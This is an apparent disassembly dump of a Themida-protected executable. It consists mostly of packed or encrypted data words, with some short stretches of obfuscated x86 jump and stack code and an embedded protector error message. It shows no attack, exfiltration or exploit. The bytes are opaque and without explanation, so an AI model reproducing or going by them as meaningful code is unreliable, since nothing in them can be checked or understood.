dd 92226945h, 42A06B15h, 7AC1A814h, 7A563992h, 5B701960h dd 0FE18F492h, 0E61E11ECh, 49D7E55Fh, 0 dd 1F66484Dh, 0B5923092h, 3D758D6Ah, 761149A2h, 0A0916B64h dd 0D63F1442h, 0AC20928Fh, 9EE0E526h, 9B2555A3h, 26CEE33Bh dd 5DF8304Ah, 0BB14F204h, 115F492h, 21C2EC9h, 1BB90929h dd 4015273Dh, 319E5B70h, 2D000000h, 1F66484Dh, 0B6923092h dd 5EC9649Ch, 1442A099h, 0DCBACC35h, 42A09D5Fh, 0BB0BF214h dd 0EF27411Dh, 926D4254h, 5D7D5639h, 0B4527016h, 0D4A9BBDBh dd 0FFFEC59Eh, 424D2DFFh, 279F1C6Ch, 6D13A525h, 7EDEF2D1h dd 6A8E8399h, 0DD2D86A6h, 0B64A623Fh, 64B4FA97h, 97FE8502h dd 0F35C13A5h, 975126A3h, 94FD13A5h, 5027A482h, 0FE13A597h dd 0C9B05D95h, 4E13A597h, 54225A70h, 95275F77h, 0A5976318h dd 1186EF13h, 0EE460A3Ah, 0AF5A9DDh, 0CBD874E6h, 28h, 0A08477F4h dd 320F1442h, 4F2CCA1Ah, 1464FF37h, 42A0E097h, 0F3056E14h dd 0C385F7D1h, 1850C66Ah, 0C3F8CADCh, 87000000h, 0F875424Dh dd 1442A003h, 0BD0D66CFh, 0A6BD3640h, 0E3339C13h, 0BD516745h dd 63B3C9A7h, 0BFD1E7C5h, 416D22F9h, 18F18FF1h, 0F5EDE6F8h dd 0A714413Bh, 1A8CEE3Eh, 6558528h, 7BB5A95Bh, 75B5A707h dd 4136B303h, 0D1B89CFh, 9A7892A4h, 0FCDAF084h, 382496E6h dd 96027938h, 8A1CE2F4h, 62FB3918h, 798BE4C7h, 25753956h dd 6ED091A8h, 4925C11Ch, 0E886D62Fh, 31A3F30Bh, 0AFF2E197h dd 5F81938Ah, 45216C49h, 0C47ED22Bh, 395A4ADAh, 0B2D73F9h dd 0A1790000h, 0FCD5EB7Fh, 563248DCh, 0B392A83Ch, 1AF50B9Fh dd 6B916AFEh, 67FB17F2h, 0C5597751h, 27BBD1AFh, 881C3411h dd 0D3A825D5h, 7F13A53Ah, 7956AB3Ah, 90C7E35Ah, 0B50EEDEEh dd 0D0ECC765h, 0F466F8BEh, 34587F77h, 0B8D2E437h, 4D8BC3DBh dd 805DC084h, 330F5635h, 0ED88C019h, 0D6290094h, 0FFE05BBDh dd 58h, 6C424D28h, 0BD3D9F1Ch, 0EA5313A6h, 0E807E4B2h dd 21BC77F3h, 0F04099E2h, 21597952h, 58B0617Fh, 7FD89328h dd 58354B6Dh, 0D8760840h, 11ACE4FAh, 0FBB3DCFFh, 14340DABh dd 50C22402h, 0CD3DA2A4h, 3C354768h, 1442F0CAh, 51FFB99h dd 412032CDh, 78B0C8A5h, 1FF084DDh, 0C95D7D56h, 42A026D4h dd 859B7914h, 0FABDD2F1h, 2E66805Ch, 0A0532893h, 63FF1442h dd 0BC156E86h, 2574EF6Ch, 9D3B13A5h, 0D46FA7C1h, 2A7AE3C2h dd 296B08Ch, 0E56A9531h, 8E2CE7DFh, 0C35E96B4h, 17B12B1h dd 923B0000h, 0A0CCB330h, 0EE8A1442h, 28C3FB0Fh, 0F69ABDCFh dd 159271B8h, 1442A06Bh, 0D622BAA8h, 0CC29AE8Fh, 0F34C6240h dd 923992ACh, 5CBA2320h, 0CADC7624h, 92517F2Dh, 0EF0115F4h dd 0A1E8C6CCh, 0B3923092h, 61CC679Fh, 1442A09Ah, 0EBDCF38h dd 66484D57h, 839B7816h, 0C99EB04Bh, 0F492F2D9h, 11ECFE18h dd 0E55FE61Eh, 72D7h, 0F4920000h, 0CAEDFF17h, 0BED6B3C8h dd 73F5332h, 92CC136Ch, 0F760BE20h, 62741186h, 0E1750784h dd 7BDB1442h, 42E179FEh, 0C6CD514h, 0F0082CF7h, 60A700ECh dd 7A563992h, 98721060h, 47A7427Ah, 9083A81h, 320719E9h dd 0B9923092h, 5BC66199h, 1442A0A4h, 0A3B79632h, 2338384Ah dd 0FC1AF492h, 451729C4h, 2Ah, 17EC69CBh, 0C31442A0h, 4D73485Ah dd 365D3645h, 92D4F86Fh, 88E13A7Eh, 6B159241h, 0A81442A0h dd 39927AC1h, 19607A56h, 9A955B70h, 1CE55FE5h, 528AA07Eh dd 2C06A5B7h, 2F000000h, 1F66484Dh, 0A06B1592h, 80E91442h dd 56399239h, 31512A7Dh, 5B7091D8h, 4A9Eh, 0AD862400h dd 3BC03D8Dh, 971442A0h, 92471C2Eh, 0DD76A420h, 0A6B87EFEh dd 8B691283h, 49A23D75h, 32209202h, 680F6BBDh, 61FCACDEh dd 409975D7h, 29D3502Eh, 66144281h, 2092387Fh, 0CCD00597h dd 7C5A6C9Ch, 5D7D5623h, 9E5B7016h, 0FFFFFE75h, 6C424D2Dh dd 25279F1Ch, 46D13A5h, 1A3916B4h, 546B493Eh, 11BF728h dd 49D52EC9h, 65F9526Eh, 52304B46h, 5B36043Ch, 3D8DE63Fh dd 0A5E13BC0h, 0F62E9713h, 0A5E1B049h, 5A0A1B13h, 0BB40BD1Fh dd 1713A5E1h, 3EC19CAEh, 97D874DCh, 21h, 0A08477C0h, 320F1442h dd 0EB68CA1Ah, 1442A014h, 0FCFA9DB3h, 0BC0D5015h, 511F4153h dd 0BCh, 6C424DE0h, 0A1119F1Ch, 0D63F13A6h, 0ED0AE886h dd 3E8B36B8h, 67FB548Eh, 255D7351h, 0CFB43193h, 8B13A6D3h dd 0A2ED1022h, 3F1EBC0Ch, 0CC58F32Bh, 6A1D9EDh, 16B416F4h dd 0F812EE39h, 948D9Fh, 52144156h, 993799E9h, 0D26DA5BBh dd 0B2C8A6C0h, 2BD2441Eh, 6F9AC856h, 0A65DDA2Ah, 341B89D3h dd 0C19FB9CBh, 96A455A4h, 87E02FB4h, 9717784Fh, 6977CA47h dd 7AE31C6Eh, 97AF8C2Ah, 0F810ED03h, 4A96A8A4h, 0A329695Ah dd 7B3h, 65F91BF3h, 0C256764Fh, 22B6D0ACh, 85192D0Ch, 0E478946Fh dd 916CE50Bh, 0F1CBE175h, 4B293FD3h, 0AE8BA135h, 9F4F0296h dd 0A53D5D22h, 25B4F913h, 522E7956h, 6B141031h, 217A1EA4h dd 0E5C290C8h, 8E5795CDh, 2831A3D6h, 0CB69832Fh, 66435D6Fh dd 0EA22421Bh, 8B62F64Fh, 0E05BA374h, 3661h, 0A21F8100h dd 1442C2DDh, 29FE1079h, 1C6C424Dh, 0A68B219Fh, 0CE066F13h dd 3185CA3Ch, 9AB8A912h, 394BA4BEh, 0A69DBF40h, 4BFB0C13h dd 77D4EC13h, 3DE9D8h, 4D120000h, 9F1C6C42h, 13A6AD3Dh dd 0E4B2EA53h, 3D9FEF07h, 0A6AE3BC0h, 641B9813h, 0F213A6AEh dd 0BDCF3889h, 90A8859Bh, 0A00E8158h, 0AFE5D350h, 0A731442h dd 0D2A9C76h, 0BCD15ADBh, 459E7385h, 0A3147BCDh, 42A05126h dd 3B94FD14h, 770C89EBh, 0E31442A0h, 0B0671A7Ah, 82035A94h dd 47159270h, 1513A658h, 15B3A3ACh, 0B8921E3Ah, 4B8F889Ah dd 0AD3D1EAh, 65778F6Ch, 11614D42h, 5F82289Fh, 0A1C42C0Dh dd 0AEC92927h, 502E4084h, 390C7CEEh, 416E47FDh, 0C29307E1h dd 7082C7FEh, 0FD9C1977h, 2E7EE7DBh, 4797B790h, 7D9F35CAh dd 2638A1C4h, 0A8068960h, 8279F658h, 50C47D9Fh, 7AF7D5E7h dd 0C399A45Dh, 0D270C029h, 3349DDF5h, 80053756h, 7986A16Ch dd 0EA8ACC20h, 5B9B99D9h, 63ED5h, 6E906800h, 0CBEBC4DAh dd 2B452137h, 8EA28197h, 0ED09E4FAh, 0E17A8059h, 4056EA06h dd 9EB44866h, 16AAC0h, 0C4770B23h, 3FE09714h, 296E13A5h dd 6179569Ah, 657F5B29h, 4136B315h, 0D1442A0h, 967092A4h dd 0A50519F8h, 183FB40h, 0D2F5072Bh, 3FA1F1BDh, 46663FDDh dd 7308730Eh, 0DF144234h, 7B6B6476h, 2913A5B1h, 0DEBA88C0h dd 0B1F070C4h, 9496A15h, 5C683h, 0E608E000h, 43633C52h dd 0A3BD99AFh, 61AF90Fh, 65815C72h, 59F2F8D1h, 0B8CE627Eh dd 162CC0DEh, 788E2238h, 3CEF839Bh, 3F680F8Ch, 0A1E613A5h dd 6C424D12h, 253B9F1Ch, 0F05913A5h, 0F40EEAB8h, 1645CAA0h dd 0BD43836Ah, 57Bh, 9D31532Bh, 0FA8EAE87h, 5AEE08E4h dd 0BD516544h, 1CB0CCA7h, 0C9A4BD43h, 290319ADh, 8361770Bh dd 0E6C3D96Dh, 0D7873ACEh, 0A53FA55Ah, 5DEC3113h, 1C6C424Dh dd 24DB58BAh, 0B21442A0h, 5E3E3749h, 0F413A525h, 0C5FCC484h dd 1D768EECh, 2A3B17E5h, 0A5B2D6ADh, 0C21B8413h, 16BA066Eh dd 951B5B6Ah, 517h, 195B78Fh, 5EF212EBh, 0BE526C48h, 21B5C9A8h dd 8014300Bh, 2D0841A7h, 8D677D11h, 0E7C5DB6Fh, 4A273DD1h dd 3BEB9E32h, 0A50039BEh, 0C1509513h, 11617956h, 0A04D32AFh dd 0A0091442h, 1DFAC88Eh, 23FFCD05h, 2803D109h, 0CE95D40Ch dd 3BB8DA96h, 0D4B2500Bh dd 0B592ACBEh, 16F3099Dh, 6719C6FEh, 0F21442A0h, 40DE9DC9h dd 1C364866h, 0B993273Fh, 2A87B47h, 7D8F2E8Bh, 366E8663h dd 0DF738B68h, 5126A305h, 0FD14424Fh, 126B8561h, 0FCB2DD00h dd 36CD4AACh, 6914424Fh, 0B720718Fh, 404AC7A5h, 0E13A65Ch dd 3FC06DA5h, 8C13A7A3h, 0A7BF9C3Ah, 25C2D46Fh, 1AC23D61h dd 36D4D877h, 132F0A5Dh, 0D5E782BAh, 6036h, 0F4925F00h dd 0F9C7FF17h, 33CE061Ah, 0EAA5C8DAh, 639BB591h, 0A0AF54D1h dd 0C22B1442h, 5EC01069h, 0CAEBF9ECh, 128F34F2h, 1442DC6Dh dd 9B2780E9h, 9790A2C2h, 13A6D5D1h, 51FE369Fh, 13A626AEh dd 0A959CB1Dh, 334B287Eh, 261287D3h, 0F7E1239h, 0A0B20BF3h dd 0E41B4303h, 0F1D8772Bh, 0DEh, 6A79561Ah, 42A016EDh dd 25BC414h, 6F1040B2h, 0C0FBAE89h, 3F1AE8AEh, 0E759EB23h dd 5FC6ADFFh, 0BFD9EB83h, 187ACAE2h, 42DBE49Bh, 0A9097214h dd 6E642919h, 5E243619h, 79BB390h, 426C2A12h, 0F110ED14h dd 4C25DE4Ah, 0A93D960Dh, 8F6BB693h, 0DE41C75h, 5FDC2C82h dd 13A6C671h, 0DD98AE20h, 4BE2AEDh, 16AA13F2h, 0C61698F7h dd 6610E764h, 22BE13A6h, 58F32B47h, 920FEDFFh, 14408CBEh dd 650353BCh, 42623B8Ah, 643F55E9h, 1B8AF448h, 0ABEB6232h dd 35625h, 56785000h, 0B3D3ACC2h, 132D091Fh, 768A697Fh dd 0D5F1CCE2h, 0C9826841h, 283ED2EEh, 869C304Eh, 0E8FE92A8h dd 0AC5FF30Bh, 1F87FFCh, 115613A5h, 77209282h, 8274B01Ah dd 50A9C7A1h, 2D49243Eh, 8EA68399h, 424D29FAh, 0E99F1C6Ch dd 0A713A6A9h, 0A659063Eh, 2513A6AAh, 0D32C5014h, 4D87807h dd 0CBh, 15F4922Dh, 0BA37C901h, 1442A0C5h, 43CF2891h, 7D185064h dd 5C74516Bh, 5F7B5624h, 0B6339527h, 1442A1C1h, 1912248Dh dd 1442A525h, 6BFF17F4h, 28607855h, 20703E51h, 0A6AB35A3h dd 66FA6313h, 16664847h, 40521E99h, 0ABFB6414h, 5B37CC49h dd 3AA31B88h, 4AE84A28h, 4E1C546Eh, 0F0025B6Fh, 8FDFFBD6h dd 98DA651Dh, 0B9CBB19Bh, 8AA68197h, 33095236h, 71F73762h dd 277h, 0A135572Fh, 0FE92B28Bh, 5EF20CE8h, 0C1556948h dd 20B4D0ABh, 0CDA8A147h, 2D071DB1h, 87657B0Fh, 0EAC7DD71h dd 0DB8B3ED2h, 0A502995Eh, 61F03513h, 0F5F7B56h, 0A04B30ADh dd 6B071442h, 0A03B7391h, 0FD133547h, 0D4AC0120h, 6AC61CA7h dd 56AC7D11h, 5B296179h, 0DF26F7Eh, 0C91442A0h, 54730760h dd 8523733Bh, 9E7C8EAAh, 0A68BA321h, 5088F113h, 0E4F4CBEh dd 756AE8E0h, 0A9447C9Ch, 0BA453E50h, 1113A607h, 0E7184400h dd 0B1D87776h, 0BE73A13h, 0C56098F1h, 5314B3h, 4D3D0000h dd 7E1C6C42h, 967486A4h, 41D5C234h, 1D1EE562h, 53BC1442h dd 7A2394F3h, 0B1A96F68h, 0CA6813A6h, 7049D5EDh, 6B7D1850h dd 35D3238Ch, 6F0A4256h, 11EA975Dh, 8213A6BDh, 835189A9h dd 9F568EA6h, 7CD49CC8h, 7C833B6Bh, 59D877F4h, 1Bh, 0A0857782h dd 88071442h, 0A759D626h, 2D13A680h, 80AB50CDh, 0BE2713A6h dd 4D00D165h, 9F1C6C42h, 13A680C9h, 0D2A92688h, 4513A680h dd 7E195167h, 0D3B2C42Dh, 2A0326Ah, 4FD0F23h, 13A6807Bh dd 0D787BFD0h, 0D877FD28h, 18ADh, 8477D600h, 61442A0h dd 58D52589h, 13A680A6h, 97B58F2Dh, 0A93DA685h, 6C424DD8h dd 25079F1Ch, 0ED4D13A5h, 0A5268B70h, 85DE4713h, 0A2BA9735h dd 0FC1BF80Eh, 62ABA39h, 0C9015A5Ah, 0C1119DF2h, 0F22A4A23h dd 0A9F7150h, 2A83EA6Fh, 9ABD3A18h, 0E81442CDh, 0B4912F7Fh dd 0CE5328A5h, 96FF1B8Dh, 0B693A93Dh, 72D4669Eh, 0CEEC9310h dd 16A1B8Dh, 8DCEE196h, 0F2046D1Bh, 9EEEC0CFh, 0A7C39E3Ch dd 9B60DD6Fh, 371B8DCEh, 6A6375CEh, 1C69D94Ch, 473CB91Bh dd 1303F126h, 29411EAAh, 654456F1h, 45EAA8FCh, 73B35A4Ah dd 92EDh, 1A3C1400h, 77977086h, 0D7F1CDE3h, 3A4E2D43h dd 99B590A6h, 8DC62C05h, 0EC0296B2h, 4A60F412h, 0ACC2566Ch dd 7023B7CFh, 4BC43C0h, 0D51A13A5h, 75424D46h, 1A851B03h dd 0A914A1E0h, 1442BAD2h, 6EBE1780h, 0A53F5AF1h, 77AF1813h dd 20B4CCA9h, 0DD152D0Ah, 0CFAF6F30h, 0F6945210h, 54F10317h dd 0EDCB6910h, 0CEABC5D7h, 2F0C22B6h, 0DB4DDF17h, 84D20623h dd 0FC162811h, 1AD1091Dh, 3F1C0343h, 0A07D9327h, 8CA5088h dd 59000000h, 0BA97358Dh, 56BB90A2h, 56245C7Eh, 5B296179h dd 612F677Dh, 63316987h, 66346C88h, 69376F8Bh, 703E768Ah dd 74427A94h, 0EE437B9Bh, 5E1F68h, 24348900h, 3C6768h dd 240C8900h, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch dd 7468243Ch, 8B07E787h, 0C481240Ch, 4, 243C8B54h, 4C481h dd 0AD680000h, 89000073h, 481240Ch, 758CC24h, 8478F20h dd 0CC086F81h, 0FF200758h, 835F2434h, 0C8B04C4h, 0E3895324h dd 4C381h, 0C3810000h, 4, 5C241C87h, 0FCD80EE9h, 524D4AFFh db 0EEh, 30h ; --------------------------------------------------------------------------- loc_5BCA7E: ; CODE XREF: Themida_:loc_5BAB28j mov eax, 7E7A575h add eax, ebp jmp eax ; --------------------------------------------------------------------------- align 4 dd 0CD7C7403h, 0E535CDD0h, 950FC465h, 1E641D5Dh, 22601CC6h dd 9348B1F1h, 57694CCh, 0B53E9217h, 6B48609Dh, 965C6853h dd 0F935850Ch, 0F00E4DC2h, 803F1074h, 0E5489E89h, 2A3C345Ch dd 53AABE2h, 0E625DD72h, 6C123ECEh, 0E81D3847h, 12h, 19B1ED0Ch dd 0F385CE32h, 98FD8CFBh, 0BB918B52h, 8B666B7Dh, 81665AF8h dd 812D74CBh, 692DC2h, 5810F00h, 60000000h, 616160F5h dd 1A1E68h, 4880F00h, 66000000h, 59A1F7BFh, 57028BF9h dd 10E8h, 0A5BDA200h, 4D0B257Dh, 60D6D809h, 0D6403CDFh dd 0FE918h, 7FED0000h, 279D4BC6h, 339AE408h, 5E71F3DBh dd 815F5B5Dh, 2BCF46C0h, 0BE93Bh, 796B0000h, 0F293E102h dd 52260626h, 0E7C08139h, 66513CACh, 0C081FB8Bh, 48CF6FE1h dd 987524BEh, 850F503Bh, 2, 28F90B3h, 0F03EA83h, 0F4AF9BFh dd 0E983F1B7h, 8A850F01h, 0FFFFFFFh, 81h, 17E900h, 4E390000h dd 7787h, 4 dup(0) dd 51DE900h, 0A57D0000h, 0D9EF83h, 5A364CE0h, 0B796AC40h dd 1EF90FA3h, 6F956E02h, 6BFF1BF6h, 0C95D7B55h, 2BBFD5B3h dd 8C203815h, 0D7AC29D9h, 8313A507h, 7956AF3Eh, 805B2961h dd 98761464h, 9DAF4A82h, 7988657Bh, 42A007FCh, 0A6AD314h dd 6A119504h, 0FB338C07h, 0D4F0CB69h, 0D0F4FA9Ch, 0ECAE2AE1h dd 8A678193h, 0AA83A72h, 0E802142Eh, 53B7EF0Fh, 79EBAED6h dd 0F7D36A14h, 0AA0AA5DDh, 96A8BD54h, 0F3879F7Ch, 55E9FFDDh dd 134B613Fh, 154D6B45h, 60DF875Eh, 0C2D86C82h, 0A5BD9AE5h dd 9567144Ch, 8A14425Bh, 1AE599CDh, 0BBE05B16h, 8Eh, 18F492E4h dd 0F5D2ECFEh, 12EF8DDDh, 7522E8FAh, 1442A088h, 0F1A8DC99h dd 0A06D128Fh, 1DA1442h, 736DAEBAh, 0AF0F78C9h, 4F7B3E24h dd 583345D9h, 0E05BEFA7h, 130h, 0F4925900h, 2EC90115h dd 929021Ch, 0A2A03D1h, 0C3A240D2h, 8CDC77AFh, 42A0680Fh dd 6B7DE614h, 265E7251h, 2A627C58h, 30687E5Ch, 5B174FCCh dd 0D188BC39h, 0EB900D6Fh, 671442A0h, 0A0EC93FEh, 0CE6A1442h dd 6A7CD5F5h, 7577750h, 61738D69h, 344C293Fh, 7B56CFA0h dd 8059275Fh, 0E0EA2860h, 0EA04E07Eh, 0D7AC17B2h, 831442A0h dd 3B6B081Ah, 0EA08E280h, 0EB0517B2h, 6A4F410h, 3BD60E2Ch dd 14F10729h, 833AACFCh, 7EEBF0A7h, 49633FCBh, 9E647611h dd 0A2DAF4D0h, 0F4FF708h, 0E05BD320h, 8BD5h, 1693F500h dd 14429761h, 9D7284EDh, 0B2587B56h, 50DD5BECh, 3A581F9Ch dd 8DF61442h, 0D5A3DB34h, 43A7DFF9h, 79DB9EC6h, 423A07FCh dd 0A2BC9814h, 157ECF6Ah, 0F20EE903h, 4A6D485Eh, 0E8C44263h dd 0EEB26ECEh, 3AC13E8Eh, 981442ECh, 0D09ED62Fh, 0D7A5DDF1h dd 0DBA9E1FBh, 0F3AAE202h, 0B431681Ch, 1442ECCFh, 71C9228Bh dd 0D7752460h, 11ACE4F8h, 0C40B24FFh, 280CE05Bh, 35000000h dd 275F7B56h, 2D657B59h, 0A29DC94Ch, 4617ABC7h, 255D7D56h dd 42A08678h, 0A6DE9B14h, 5C1109F6h, 1CEE0h, 56F70000h dd 5A28607Ah, 762D657Dh, 9C78E79Fh, 0C0CFEE82h, 0EB219EEEh dd 0A913A691h, 5D3A0840h, 0BE9BB145h, 3CC16EA6h, 4813A692h dd 0C19E81C5h, 22FF15A9h, 2704D20Ah, 8F99D70Fh, 92CBB02Dh dd 0EB8713A6h, 23BEF60Eh, 6B1BB8CAh, 9DB59230h, 9EB8CA65h dd 3B15A9C1h, 95A7C19Dh, 77DF45BAh, 0EC92D8h, 14B20000h dd 48E31B3Bh, 8FC7DFBCh, 4D0DE2F4h, 9F1C6C42h, 13A6BEFDh dd 24F22A93h, 0C19B2F47h, 1C2E4623h, 0D50D2502h, 6DF2A07h dd 17558DE6h, 4A27164Eh, 0D40C20FFh, 754CE039h, 0D877F28Ah dd 5C4Bh, 444D7400h, 69D1A6Ah, 546BBD5Fh, 8DC5D9B8h, 5E25A2F2h dd 0FC9442A0h, 55023A93h, 9442A0AEh, 898DB980h, 0F456A608h dd 0A06E1592h, 83EC9442h, 0A0C1B633h, 248D9442h, 5F821912h dd 34D0EBBDh, 68033B5Bh, 5FAD7B0Fh, 33000000h, 0B6BA3BC1h dd 0B505A899h, 42304338h, 94A60F14h, 39424DBFh, 6D084060h dd 9D47C414h, 4313A6B9h, 0F7D4A2DAh, 0A582D1ACh, 61BA558Dh dd 815E7408h, 4843169h, 813A6B9h, 815EC185h, 0D9B6D569h dd 7C0885D5h, 0E614411Dh, 9A77457Dh, 0BC934A82h, 0AB038C88h dd 0C616DE5Bh, 53BC1C6Eh, 0F492EEBFh, 0C8EBFD19h, 1A97E7C7h dd 13A5076Ah, 89578FF8h, 0EA0094ACh, 2BBDF50Dh, 0B0CA0B9h dd 899BB085h, 0C5954790h, 0DE7C3A63h, 39D6E802h, 2635120Dh dd 0A1AD2A9h, 0BE17806Ch, 6316FC6Eh, 359E2707h, 0EEB0123h dd 70D0E4C3h, 8C9544BCh, 0D5DB6ECh, 4078946Fh, 704A31AEh dd 9F086C0Ah, 0DC6E3446h, 7006FD7Ah, 64D46C0Ah, 82080E47h dd 0E939923Eh, 0AAB976Ch, 0C8DA436Ch, 83BBCFAEh, 4ECBD6B5h dd 6C0AABA9h, 2B63BC25h, 2F67815Dh, 347C28F1h, 0C1BCE8BFh dd 2238CCE4h, 6FF52D45h, 15h, 0D3358DFEh, 42A0A156h, 50CD2D14h dd 1442A0ABh, 5365BE27h, 5C7E567Eh, 61795624h, 677D5B29h dd 6987612Fh, 6C886331h, 6F8B6634h, 768A6937h, 7A94703Eh dd 7B9B7442h, 8953EE43h, 4C381E3h, 81000000h, 4EBh, 241C8700h dd 240C895Ch, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 53240C89h dd 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h, 68575224h dd 15EE76CFh, 3BF7815Fh, 811FB535h, 6201BFC7h, 9CEF8173h dd 89299207h, 0CA815FFAh, 225210Bh, 2F38C281h, 0D2F72709h dd 80F2814Ah, 89852036h, 0EC815AD1h, 4, 81242489h, 42404h dd 515B0000h, 0DD243481h, 8F53313Dh, 0B9510843h, 8, 3181D901h dd 53313DDDh, 241C8B59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_58A287 ; --------------------------------------------------------------------------- db 7Dh ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- xor edi, [edx] mov eax, 7E7AB7Fh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 48EC844Dh, 2454D0D0h, 354C50F9h, 36C55EDAh, 7D64ACDh dd 3A379313h, 5FFDA48h, 62238A9Bh, 56DC042Eh, 9EFD2D1h dd 8A06569h, 4D2365B1h, 359271DDh, 4418E3Eh, 60A51625h dd 3235068Eh, 3254FDDEh, 400E9h, 0 dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0) dd 5600h, 4500h, 0 dd 1286E900h, 0BD890000h, 7E40025h, 15F99531h, 858B07E4h dd 7E40DE1h, 919531F5h, 3907E41Dh, 0F042444h, 0B785h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8A0FC47Fh, 0Dh, 43CA8160h, 0BB5F862Ch, 7779C680h, 0FDBD8361h dd 7E42Bh, 7A840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0FF840C3h, 787h, 0EE806000h dd 6161604Ah, 3BDC858Dh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 93F877C3h, 5655451Bh dd 358D9D89h, 11E907E4h, 0C000000h, 8E38EF12h, 24CBB0BBh dd 32428B75h, 950A4189h, 61CB8A60h, 0BD89E0FFh, 7E42DF1h dd 1DE1858Bh, 39F507E4h, 0F042444h, 3B85h, 11E900h, 0C8C00000h dd 882C8571h, 92A19A02h, 6EA97D41h, 0C7CE424Fh, 0E7B09285h dd 107h, 15840F00h, 0E9000000h, 10h, 292BF56Dh, 7C439CA3h dd 0B6E2EDAFh, 0E0B7B45Eh, 50006A60h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 68C0F62h, 89000000h dd 0E4041995h, 27E907h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 9E008C3h, 0E4035195h dd 7, 1B800h, 85870000h, 7E7B212h, 0F675C00Bh, 2C2DB5FFh dd 858F07E4h, 7E7B08Ah, 0FF6A206Ah, 160195FFh, 0BD8307E4h dd 7E40369h, 6A087400h, 4195FF00h, 8307E40Eh, 0E4038DBDh dd 0D740107h, 8068h, 0FFFF6A00h, 0E4160195h, 6AF507h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 5C15AAC3h, 32D4162Ah, 8A6004BBh, 2EDB81DAh, 616A34E8h dd 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 683A4436h, 0B5310864h, 7E431D1h dd 2824548Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 9C35343h, 0DED75744h, 897257B9h, 0E412D185h, 0EE86007h dd 31000000h, 0B7629DBCh, 4DB230CEh, 0D362A14Ah, 0D995017Dh dd 5F07E420h, 6818D29h, 896107E4h, 0E40EE995h, 3CBE07h dd 85890000h, 7E423A9h, 25BD8D89h, 740307E4h, 89602424h dd 0E42C0DBDh, 8D895107h, 7E42AEDh, 840F6159h, 6, 314D8529h dd 0AD6607E4h, 1D759501h, 440307E4h, 6A2424h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 2DBDDAC3h dd 0AF79EEh, 0F5B9301Bh, 3269BD89h, 0E99007E4h, 10h, 94847FBBh dd 31233A21h, 9498CF06h, 6CD88F55h, 0F525050h, 28Dh, 0F616000h dd 96B06031h, 5A616160h, 8D319058h, 7E42A69h, 0F78408Bh dd 78Ah, 1820F00h, 0FC000000h, 0B092BD83h, 0F0007E7h, 15C85h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 56860889h, 8E9A607h, 72000000h, 4B396DE7h dd 90887CCEh, 8B0F5250h, 6, 310F5250h, 310F585Ah, 10E9h dd 8F1C9000h, 9682F6B9h, 48252802h, 2E69E46Dh, 50585AF7h dd 0D3B56060h, 61615F50h, 0B8F0F90h, 60000000h, 820Fh dd 0E8800000h, 448B616Ch, 6A2C24h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0C0A5CEC3h, 9E6DCA2Bh dd 525090FCh, 11E9h, 58C4300h, 0EC4E88E8h, 0BC0D1FBDh dd 4169AD9h, 310FBC83h, 5E9h, 539BFB00h, 585A6837h, 22820F50h dd 50000000h, 0BE952h, 0C62E0000h, 6483EC34h, 3D22D845h dd 0E9310F13h, 7, 0E6E05ECAh, 5AAAD1D1h, 6A9058h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 8B60A6C3h, 0E419D985h, 19D8907h, 6107E426h, 7ED8858Dh dd 0FFFC07E7h, 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 92A377C5h, 8CAACDFBh dd 820F2BC2h, 1, 0BD8960FCh, 7E43269h, 0DC5BD29h, 296107E4h dd 0E42C3185h, 24440307h, 55006A28h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 2AC19683h dd 408BFC59h, 51006A18h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0EB3DEA7Fh, 40F9E8ECh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 30C35141h, 85896810h dd 7E7B08Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0A7C35646h, 0D26B51A2h, 880F763Ah, 1, 12E958F5h dd 8F000000h, 7BDF75C0h, 0C428DB2Ah, 3B4E1176h, 0D6E2CD43h dd 8501600Ah, 7E41641h, 14E9h, 949A2700h, 96CB4AEFh, 0F54A1919h dd 0D91B47A2h, 0EAC77D3Fh, 708B6115h, 5958978h, 8307E415h dd 8E91CC6h, 8D000000h, 4B4B64B9h, 9631CDE0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 89C35646h, 60C3B3F4h dd 0AE1BD8Bh, 0D78107E4h, 5DF52842h, 51858961h, 0E907E42Ch dd 14h, 0B177B368h, 0CE62AA03h, 9174EF5h, 0A39BEB62h, 0DFB23A56h dd 24247C81h, 10000000h, 10B870Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 894780C3h dd 